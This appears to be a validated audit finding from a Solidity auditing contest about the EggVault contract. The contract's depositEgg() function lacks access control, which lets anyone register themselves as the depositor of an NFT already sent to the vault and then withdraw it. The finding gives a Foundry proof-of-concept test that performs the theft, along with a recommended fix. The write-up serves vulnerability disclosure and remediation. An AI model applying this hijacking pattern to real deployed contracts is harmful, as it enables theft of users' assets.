Eggstravaganza
First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Unauthorized Deposit Manipulation in EggVault Contract

edoscoba

Summary

The EggVault contract contains an authorization vulnerability in the depositEgg() function. This function lacks proper access control mechanisms to restrict who can call it, allowing any external account to manipulate the deposit records. This vulnerability can lead to incorrect attribution of egg deposits and potentially enable unauthorized withdrawals of NFT assets from the vault.

Vulnerability Details

The vulnerable function is found in the EggVault contract:

function depositEgg(uint256 tokenId, address depositor) public {
require(eggNFT.ownerOf(tokenId) == address(this), "NFT not transferred to vault");
require(!storedEggs[tokenId], "Egg already deposited");
storedEggs[tokenId] = true;
eggDepositors[tokenId] = depositor;
emit EggDeposited(depositor, tokenId);
}

The function is declared with public visibility and accepts a depositor address as an input parameter and it lacks any validation of the caller's identity. While the function checks that the NFT has been transferred to the vault and that it hasn't already been recorded as deposited, it fails to verify whether the caller is authorized to register deposits. This could permit a malicious actor to specify a different address as the depositor.

The intended architecture appears to be that only the EggHuntGame contract should call this function, but there is no enforcement of this requirement in the code.

Proof Of Code

function testUnauthorizedDepositExploit() public {
// Mint an egg to Alice via game contract
vm.prank(address(game));
bool success = nft.mintEgg(alice, 1);
assertTrue(success);
​
// 2. Alice legitimately transfers her egg to the vault
vm.startPrank(alice);
nft.approve(address(vault), 1);
nft.transferFrom(alice, address(vault), 1);
vm.stopPrank();
​
// 3. Verify the transfer happened correctly
assertEq(nft.ownerOf(1), address(vault));
​
// 4. EXPLOIT: Bob calls depositEgg directly and falsely registers
// the egg as deposited by themselves
vm.prank(bob);
vault.depositEgg(1, bob);
// 5. Verify the exploit was successful
assertEq(vault.eggDepositors(1), bob);
assertTrue(vault.storedEggs(1));
// 6. Bob can now withdraw Alice's egg
vm.prank(bob);
vault.withdrawEgg(1);
// 7. Verify that Bob now owns Alice's egg
assertEq(nft.ownerOf(1), bob);
}

Impact

This vulnerability has severe consequences:

  • Asset Theft: An attacker can hijack NFTs that are already transferred to the vault but not yet registered by calling depositEgg() with their own address as the depositor.

  • Deposit Manipulation: Even when deposits are properly recorded, if an NFT is withdrawn and later transferred back to the vault, anyone can call depositEgg() to register themselves as the depositor.

  • System Trust: This breaks the trust model of the entire system, as ownership records can be manipulated by any party.

Tools Used

Manual code review

Recommendations

To address this vulnerability, implement proper access control for the depositEgg() function:

  1. Add Authorized Caller Check:

address public gameContract;
​
function setGameContract(address _gameContract) external onlyOwner {
require(_gameContract != address(0), "Invalid game contract address");
gameContract = _gameContract;
}
​
modifier onlyGameContract() {
require(msg.sender == gameContract, "Caller is not the game contract");
_;
}
​
function depositEgg(uint256 tokenId, address depositor) public onlyGameContract {
require(eggNFT.ownerOf(tokenId) == address(this), "NFT not transferred to vault");
require(!storedEggs[tokenId], "Egg already deposited");
storedEggs[tokenId] = true;
eggDepositors[tokenId] = depositor;
emit EggDeposited(depositor, tokenId);
}

  1. Design a Secure Deposit Flow:

    • Consider implementing a single-transaction deposit pattern where the game contract handles both the NFT transfer and deposit registration.

  2. Add Ownership Verification:

  • Before registering a deposit, verify that the depositor was the previous owner of the NFT by checking the transfer event logs or implementing a custom transfer tracker.

Updates

Lead Judging Commences

m3dython Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Frontrunning Vulnerability DepositEgg

Front-running depositEgg allows deposit ownership hijacking.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.